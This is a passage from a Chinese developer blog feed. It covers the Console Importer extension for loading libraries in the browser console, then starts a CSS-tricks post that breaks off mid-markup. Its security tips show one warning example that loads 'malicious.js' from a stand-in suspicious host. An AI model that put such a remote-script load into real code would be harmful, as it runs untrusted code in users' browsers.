class="p">.</span><span class="nx">querySelectorAll</span><span class="p">(</span><span class="s1">&#39;button, .btn&#39;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="nx">buttons</span><span class="p">.</span><span class="nx">forEach</span><span class="p">(</span><span class="nx">button</span> <span class="p">=&gt;</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">button</span><span class="p">.</span><span class="nx">className</span> <span class="o">=</span> <span class="s1">&#39;bg-blue-500 hover:bg-blue-700 text-white font-bold py-2 px-4 rounded&#39;</span> </span></span><span class="line"><span class="cl"> <span class="p">})</span> </span></span><span class="line"><span class="cl"><span class="p">},</span> <span class="mi">1000</span><span class="p">)</span> </span></span></code></pre></td></tr></table> </div> </div><h3 id="範例使用-lodash-進行數據處理">範例：使用 Lodash 進行數據處理</h3> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="c1">// 載入 Lodash </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">$i</span><span class="p">(</span><span class="s1">&#39;lodash&#39;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1">// 等待載入完成後使用 Lodash 功能 </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">setTimeout</span><span class="p">(()</span> <span class="p">=&gt;</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="c1">// 模擬一些數據 </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="kr">const</span> <span class="nx">users</span> <span class="o">=</span> <span class="p">[</span> </span></span><span class="line"><span class="cl"> <span class="p">{</span> <span class="nx">name</span><span class="o">:</span> <span class="s1">&#39;Alice&#39;</span><span class="p">,</span> <span class="nx">age</span><span class="o">:</span> <span class="mi">25</span><span class="p">,</span> <span class="nx">city</span><span class="o">:</span> <span class="s1">&#39;Taipei&#39;</span> <span class="p">},</span> </span></span><span class="line"><span class="cl"> <span class="p">{</span> <span class="nx">name</span><span class="o">:</span> <span class="s1">&#39;Bob&#39;</span><span class="p">,</span> <span class="nx">age</span><span class="o">:</span> <span class="mi">30</span><span class="p">,</span> <span class="nx">city</span><span class="o">:</span> <span class="s1">&#39;Kaohsiung&#39;</span> <span class="p">},</span> </span></span><span class="line"><span class="cl"> <span class="p">{</span> <span class="nx">name</span><span class="o">:</span> <span class="s1">&#39;Charlie&#39;</span><span class="p">,</span> <span class="nx">age</span><span class="o">:</span> <span class="mi">35</span><span class="p">,</span> <span class="nx">city</span><span class="o">:</span> <span class="s1">&#39;Taipei&#39;</span> <span class="p">},</span> </span></span><span class="line"><span class="cl"> <span class="p">{</span> <span class="nx">name</span><span class="o">:</span> <span class="s1">&#39;Diana&#39;</span><span class="p">,</span> <span class="nx">age</span><span class="o">:</span> <span class="mi">28</span><span class="p">,</span> <span class="nx">city</span><span class="o">:</span> <span class="s1">&#39;Taichung&#39;</span> <span class="p">}</span> </span></span><span class="line"><span class="cl"> <span class="p">]</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="c1">// 使用 Lodash 進行數據操作 </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s1">&#39;按年齡分組：&#39;</span><span class="p">,</span> <span class="nx">_</span><span class="p">.</span><span class="nx">groupBy</span><span class="p">(</span><span class="nx">users</span><span class="p">,</span> <span class="s1">&#39;age&#39;</span><span class="p">))</span> </span></span><span class="line"><span class="cl"> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s1">&#39;平均年齡：&#39;</span><span class="p">,</span> <span class="nx">_</span><span class="p">.</span><span class="nx">meanBy</span><span class="p">(</span><span class="nx">users</span><span class="p">,</span> <span class="s1">&#39;age&#39;</span><span class="p">))</span> </span></span><span class="line"><span class="cl"> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s1">&#39;台北的使用者：&#39;</span><span class="p">,</span> <span class="nx">_</span><span class="p">.</span><span class="nx">filter</span><span class="p">(</span><span class="nx">users</span><span class="p">,</span> <span class="p">{</span> <span class="nx">city</span><span class="o">:</span> <span class="s1">&#39;Taipei&#39;</span> <span class="p">}))</span> </span></span><span class="line"><span class="cl"> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s1">&#39;排序後的使用者：&#39;</span><span class="p">,</span> <span class="nx">_</span><span class="p">.</span><span class="nx">sortBy</span><span class="p">(</span><span class="nx">users</span><span class="p">,</span> <span class="s1">&#39;age&#39;</span><span class="p">))</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="p">},</span> <span class="mi">1000</span><span class="p">)</span> </span></span></code></pre></td></tr></table> </div> </div><h3 id="範例es-module-載入-dayjs-進行日期處理">範例：ES Module 載入 Day.js 進行日期處理</h3> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="c1">// 使用 ES Module 方式載入 Day.js </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kr">const</span> <span class="nx">dayjs</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">$i</span><span class="p">.</span><span class="nx">esm</span><span class="p">(</span><span class="s1">&#39;dayjs&#39;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1">// 直接使用，不會污染全域變數 </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s1">&#39;現在時間：&#39;</span><span class="p">,</span> <span class="nx">dayjs</span><span class="p">().</span><span class="nx">format</span><span class="p">(</span><span class="s1">&#39;YYYY-MM-DD HH:mm:ss&#39;</span><span class="p">))</span> </span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s1">&#39;一週後：&#39;</span><span class="p">,</span> <span class="nx">dayjs</span><span class="p">().</span><span class="nx">add</span><span class="p">(</span><span class="mi">7</span><span class="p">,</span> <span class="s1">&#39;day&#39;</span><span class="p">).</span><span class="nx">format</span><span class="p">(</span><span class="s1">&#39;YYYY-MM-DD&#39;</span><span class="p">))</span> </span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s1">&#39;相對時間：&#39;</span><span class="p">,</span> <span class="nx">dayjs</span><span class="p">().</span><span class="nx">fromNow</span><span class="p">())</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1">// 載入 Day.js 插件 </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kr">const</span> <span class="nx">relativeTime</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">$i</span><span class="p">.</span><span class="nx">esm</span><span class="p">(</span><span class="s1">&#39;dayjs/plugin/relativeTime&#39;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="nx">dayjs</span><span class="p">.</span><span class="nx">extend</span><span class="p">(</span><span class="nx">relativeTime</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s1">&#39;三天前：&#39;</span><span class="p">,</span> <span class="nx">dayjs</span><span class="p">().</span><span class="nx">subtract</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="s1">&#39;day&#39;</span><span class="p">).</span><span class="nx">fromNow</span><span class="p">())</span> </span></span></code></pre></td></tr></table> </div> </div><hr> <h2 id="常見問題與解決方案">常見問題與解決方案</h2> <h3 id="問題i-is-not-defined-錯誤">問題：<code>$i is not defined</code> 錯誤</h3> <p><strong>現象</strong>：在 Console 輸入 <code>$i(&quot;jquery&quot;)</code> 時出現 <code>Uncaught ReferenceError: $i is not defined</code></p> <p><strong>可能原因與解決方案</strong>：</p> <h4 id="原因擴充功能未安裝或啟用"><strong>原因：擴充功能未安裝或啟用</strong></h4> <ol> <li>確認已從 <a class="link" href="https://chrome.google.com/webstore/detail/console-importer/hgajpakhafplebkdljleajgbpdmplhie" target="_blank" rel="noopener" >Chrome 線上應用程式商店</a> 安裝擴充功能</li> <li>檢查擴充功能是否已啟用：進入 <code>chrome://extensions/</code> 確認 Console Importer 狀態為「已啟用」</li> <li>重新載入頁面後再次嘗試</li> <li>如果仍有問題，嘗試重新安裝擴充功能</li> </ol> <h4 id="原因在不支援的頁面中使用"><strong>原因：在不支援的頁面中使用</strong></h4> <p><strong>最常見情況</strong>：在新分頁或特殊頁面中無法使用 <code>$i</code></p> <p><strong>不支援的頁面類型</strong>：</p> <ul> <li><code>chrome://newtab/</code>（Chrome 新分頁）</li> <li><code>about:blank</code>（空白頁面）</li> <li><code>chrome://extensions/</code>（擴充功能頁面）</li> <li><code>chrome://settings/</code>（設定頁面）</li> <li>某些內部頁面或受限頁面</li> </ul> <p><strong>解決方案</strong>：</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span><span class="lnt">6 </span><span class="lnt">7 </span><span class="lnt">8 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="c1">// ❌ 在新分頁中嘗試使用（會失敗） </span></span></span><span class="line"><span class="cl"><span class="c1">// 打開 chrome://newtab/ 然後嘗試 </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="k">typeof</span> <span class="nx">$i</span> <span class="c1">// &#34;undefined&#34; </span></span></span><span class="line"><span class="cl"><span class="c1"></span> </span></span><span class="line"><span class="cl"><span class="c1">// ✅ 導航到實際網站後使用 </span></span></span><span class="line"><span class="cl"><span class="c1">// 前往 https://www.google.com 或任何網站 </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="k">typeof</span> <span class="nx">$i</span> <span class="c1">// &#34;function&#34; </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">$i</span><span class="p">(</span><span class="s1">&#39;jquery&#39;</span><span class="p">)</span> <span class="c1">// 正常運作 </span></span></span></code></pre></td></tr></table> </div> </div><p><strong>快速測試步驟</strong>：</p> <ol> <li>打開新分頁</li> <li>前往任何網站（推薦：<code>https://httpbin.org</code>、<code>https://example.com</code>）</li> <li>開啟開發者工具 (F12)</li> <li>在 Console 輸入 <code>typeof $i</code> 檢查是否為 <code>&quot;function&quot;</code></li> </ol> <h3 id="問題i-函數不起作用">問題：<code>$i</code> 函數不起作用</h3> <p><strong>原因</strong>：某些網站（如 Google Inbox）已經使用了 <code>$i</code> 作為全域變數，Console Importer 不會覆蓋現有變數。</p> <p><strong>解決方案</strong>：使用 <code>console.$i</code> 替代：</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="c1">// 在有衝突的網站上使用 </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">console</span><span class="p">.</span><span class="nx">$i</span><span class="p">(</span><span class="s1">&#39;jquery&#39;</span><span class="p">)</span> </span></span></code></pre></td></tr></table> </div> </div><h3 id="問題資源載入失敗">問題：資源載入失敗</h3> <p><strong>原因</strong>：某些網站（如 GitHub）有嚴格的內容安全政策（CSP），會阻止載入外部資源。</p> <p><strong>錯誤訊息範例</strong>：</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">Refused to connect to &#39;https://api.cdnjs.com/libraries?search=jquery&#39; </span></span><span class="line"><span class="cl">because it violates the following Content Security Policy directive </span></span></code></pre></td></tr></table> </div> </div><p><strong>解決方案</strong>：</p> <ol> <li>嘗試在其他沒有嚴格 CSP 的網站上使用</li> <li>使用本地檔案或內網資源</li> <li>臨時停用 CSP（僅適用於開發環境）</li> </ol> <h3 id="問題載入後無法立即使用">問題：載入後無法立即使用</h3> <p><strong>原因</strong>：網路載入需要時間，特別是大型函數庫。</p> <p><strong>解決方案</strong>：使用 <code>setTimeout</code> 或監聽載入事件：</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="nx">$i</span><span class="p">(</span><span class="s1">&#39;jquery&#39;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1">// 方法 1：使用 setTimeout </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">setTimeout</span><span class="p">(()</span> <span class="p">=&gt;</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">$</span><span class="p">(</span><span class="s1">&#39;#myElement&#39;</span><span class="p">).</span><span class="nx">hide</span><span class="p">()</span> </span></span><span class="line"><span class="cl"><span class="p">},</span> <span class="mi">2000</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1">// 方法 2：輪詢檢查 </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kr">const</span> <span class="nx">checkLoaded</span> <span class="o">=</span> <span class="nx">setInterval</span><span class="p">(()</span> <span class="p">=&gt;</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="p">(</span><span class="k">typeof</span> <span class="nx">$</span> <span class="o">!==</span> <span class="s1">&#39;undefined&#39;</span><span class="p">)</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">clearInterval</span><span class="p">(</span><span class="nx">checkLoaded</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="nx">$</span><span class="p">(</span><span class="s1">&#39;#myElement&#39;</span><span class="p">).</span><span class="nx">hide</span><span class="p">()</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"><span class="p">},</span> <span class="mi">100</span><span class="p">)</span> </span></span></code></pre></td></tr></table> </div> </div><hr> <h2 id="與其他工具的比較">與其他工具的比較</h2> <h3 id="console-importer-vs-手動建立檔案與內容">Console Importer vs 手動建立檔案與內容</h3> <p><strong>傳統方式</strong>：</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span><span class="lnt">6 </span><span class="lnt">7 </span><span class="lnt">8 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="c1">// 手動建立 script 標籤 </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kr">const</span> <span class="nx">script</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="s1">&#39;script&#39;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="nx">script</span><span class="p">.</span><span class="nx">src</span> <span class="o">=</span> <span class="s1">&#39;https://code.jquery.com/jquery-3.7.1.min.js&#39;</span> </span></span><span class="line"><span class="cl"><span class="nb">document</span><span class="p">.</span><span class="nx">head</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">script</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="nx">script</span><span class="p">.</span><span class="nx">onload</span> <span class="o">=</span> <span class="p">()</span> <span class="p">=&gt;</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="c1">// 使用 jQuery </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="nx">$</span><span class="p">(</span><span class="s1">&#39;body&#39;</span><span class="p">).</span><span class="nx">addClass</span><span class="p">(</span><span class="s1">&#39;loaded&#39;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><p><strong>Console Importer</strong>：</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="c1">// 一行搞定 </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">$i</span><span class="p">(</span><span class="s1">&#39;jquery&#39;</span><span class="p">)</span> </span></span></code></pre></td></tr></table> </div> </div><h3 id="console-importer-vs-其他瀏覽器擴充功能">Console Importer vs 其他瀏覽器擴充功能</h3> <table> <thead> <tr> <th>功能</th> <th>Console Importer</th> <th>其他擴充功能</th> </tr> </thead> <tbody> <tr> <td>簡潔性</td> <td>⭐⭐⭐⭐⭐</td> <td>⭐⭐⭐</td> </tr> <tr> <td>版本控制</td> <td>⭐⭐⭐⭐⭐</td> <td>⭐⭐</td> </tr> <tr> <td>ES Module</td> <td>⭐⭐⭐⭐⭐</td> <td>⭐</td> </tr> <tr> <td>檔案大小</td> <td>小</td> <td>中等</td> </tr> <tr> <td>學習成本</td> <td>極低</td> <td>中等</td> </tr> </tbody> </table> <hr> <h2 id="最佳實踐建議">最佳實踐建議</h2> <h3 id="效能考量">效能考量</h3> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="c1">// ❌ 避免載入過大的函數庫影響頁面效能 </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">$i</span><span class="p">(</span><span class="s1">&#39;entire-ui-framework@latest&#39;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1">// ✅ 只載入需要的部分 </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">$i</span><span class="p">(</span><span class="s1">&#39;lodash/debounce&#39;</span><span class="p">)</span> </span></span></code></pre></td></tr></table> </div> </div><h3 id="版本管理">版本管理</h3> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="c1">// ❌ 不指定版本可能導致不一致 </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">$i</span><span class="p">(</span><span class="s1">&#39;react&#39;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1">// ✅ 指定明確版本確保穩定性 </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">$i</span><span class="p">(</span><span class="s1">&#39;react@18.2.0&#39;</span><span class="p">)</span> </span></span></code></pre></td></tr></table> </div> </div><h3 id="安全性">安全性</h3> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="c1">// ❌ 不要載入不信任的來源 </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">$i</span><span class="p">(</span><span class="s1">&#39;https://suspicious-site.com/malicious.js&#39;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1">// ✅ 使用知名 CDN </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">$i</span><span class="p">(</span><span class="s1">&#39;https://cdnjs.cloudflare.com/ajax/libs/jquery/3.7.1/jquery.min.js&#39;</span><span class="p">)</span> </span></span></code></pre></td></tr></table> </div> </div><hr> <h2 id="結語">結語</h2> <p><a class="link" href="https://chrome.google.com/webstore/detail/console-importer/hgajpakhafplebkdljleajgbpdmplhie" target="_blank" rel="noopener" >Console Importer</a> 是一個簡單卻非常實用的開發工具，它讓我們能夠在瀏覽器 Console 中快速測試各種 JavaScript 函數庫和 CSS 樣式。無論是快速原型設計、除錯、或是學習新技術，這個工具都能大幅提升我們的開發效率。</p> <p><strong>適合使用的場景</strong>：</p> <ul> <li>🔍 快速測試新的 JavaScript 函數庫</li> <li>🎨 在現有網站上測試不同的 CSS 框架</li> <li>📚 學習和比較不同版本的函數庫</li> <li>🛠️ 在生產環境中進行臨時除錯</li> <li>🚀 快速建立概念驗證（PoC）</li> </ul> <p>如果你是前端開發者，我強烈推薦安裝這個擴充功能到你的 Chrome 瀏覽器中。它會成為你開發工具箱中不可或缺的一部分。</p> <p>立即安裝：<a class="link" href="https://chrome.google.com/webstore/detail/console-importer/hgajpakhafplebkdljleajgbpdmplhie" target="_blank" rel="noopener" >Chrome 線上應用程式商店 - Console Importer</a></p> <div class="warning"> <strong>⚠️ 注意事項：</strong><br> 雖然 Console Importer 非常方便，但請記住只在開發和測試環境中使用。在生產環境中隨意載入外部資源可能會帶來安全風險和效能問題。 </div> <hr> <p><strong>相關資源</strong>：</p> <ul> <li><a class="link" href="https://github.com/pd4d10/console-importer" target="_blank" rel="noopener" >GitHub</a></li> <li><a class="link" href="https://chrome.google.com/webstore/detail/console-importer/hgajpakhafplebkdljleajgbpdmplhie" target="_blank" rel="noopener" >Chrome 線上應用程式商店</a></li> <li><a class="link" href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP" target="_blank" rel="noopener" >MDN - Content Security Policy</a></li> <li><a class="link" href="https://cdnjs.com/" target="_blank" rel="noopener" >cdnjs - 開源 CDN</a></li> <li><a class="link" href="https://unpkg.com/" target="_blank" rel="noopener" >unpkg - npm CDN</a></li> </ul> <p>希望這篇文章對您有幫助！如果您有任何問題或建議，歡迎在下方留言討論。🚀</p> <hr>https://blog.wayne-project.com/2023-03-16/css-21-tricks/Thu, 16 Mar 2023 00:00:00 +0000https://blog.wayne-project.com/2023-03-16/css-21-tricks/<img src="https://live.staticflickr.com/65535/52750778595_b25222270e_o.png" alt="Featured image of post 21 個好用與特殊的 CSS 技巧！" /><style> .article-content p code { background-color: #f5f5f5; color: #ff3860; } .focus { background: #f1e2e2; color: #d62c2c; padding: 0 5px; } .text-center { text-align: center !important; } </style> <p><a class="link" href="https://github.com/devsyedmohsin/css-tips-tricks" target="_blank" rel="noopener" >參考網站</a><br> <a class="link" href="https://dev.to/devsyedmohsin/22-useful-css-tips-and-tricks-every-developer-should-know-13c6" target="_blank" rel="noopener" >參考網站</a></p> <p>🚨🚨 本文分享的所有 tips、tricks 都是 GitHub repository【<a class="link" href="https://github.com/devsyedmohsin/css-tips-tricks" target="_blank" rel="noopener" >css tips tricks</a>】的一部分 🚨🚨</p> <hr> <h2 id="技巧說明">技巧說明</h2> <h3 id="docs-layout">Docs Layout</h3> <p>僅用兩行 CSS 建立響應式文件樣式的佈局。</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="p">.</span><span class="nc">parent</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">display</span><span class="p">:</span> <span class="k">grid</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">grid-template-columns</span><span class="p">:</span> <span class="nf">minmax</span><span class="p">(</span><span class="mi">150</span><span class="kt">px</span><span class="p">,</span> <span class="mi">25</span><span class="kt">%</span><span class="p">)</span> <span class="mi">1</span><span class="n">fr</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><p><img src="https://live.staticflickr.com/65535/52750778610_c515bfbea5_o.png" max-width="100%" max-height="100%" class="gallery-image" loading="lazy" ></p> <h3 id="自定義游標">自定義游標</h3> <p>查看 <a class="link" href="https://github.com/devsyedmohsin/css-tips-tricks#the-custom-cursor" target="_blank" rel="noopener" >css tips tricks</a> 以了解更多訊息。</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="nt">html</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">cursor</span><span class="p">:</span> <span class="nb">url</span><span class="p">(</span><span class="s1">&#39;no.png&#39;</span><span class="p">),</span> <span class="kc">auto</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><p><img src="https://live.staticflickr.com/65535/52750609204_1e335f7684_o.gif" max-width="100%" max-height="100%" class="gallery-image" loading="lazy" ></p> <h3 id="用圖片填充文本">用圖片填充文本</h3> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span><span class="lnt">6 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="nt">h1</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">background-image</span><span class="p">:</span> <span class="nb">url</span><span class="p">(</span><span class="s1">&#39;images/flower.jpg&#39;</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="k">background-clip</span><span class="p">:</span> <span class="kc">text</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">color</span><span class="p">:</span> <span class="kc">transparent</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">background-color</span><span class="p">:</span> <span class="kc">white</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><p><img src="https://live.staticflickr.com/65535/52750609209_a07a4801a2_o.png" max-width="100%" max-height="100%" class="gallery-image" loading="lazy" ></p> <blockquote> <p>注意：在使用此技術時始終指定 <code>background-color</code>，因為這將用作後備值，以防圖像因某種原因無法加載。</p></blockquote> <h3 id="給文字加入描邊">給文字加入描邊</h3> <p>使用 <code>text-stroke</code> 屬性使文本更易讀和可見，它會向文本加入筆劃或輪廓。</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span><span class="lnt">6 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="c">/* 🎨 對 h1 元素應用 5px 寬的深紅色文本描邊 */</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="nt">h1</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="kp">-webkit-</span><span class="n">text-stroke</span><span class="p">:</span> <span class="mi">5</span><span class="kt">px</span> <span class="kc">crimson</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="n">text-stroke</span><span class="p">:</span> <span class="mi">5</span><span class="kt">px</span> <span class="kc">crimson</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><p><img 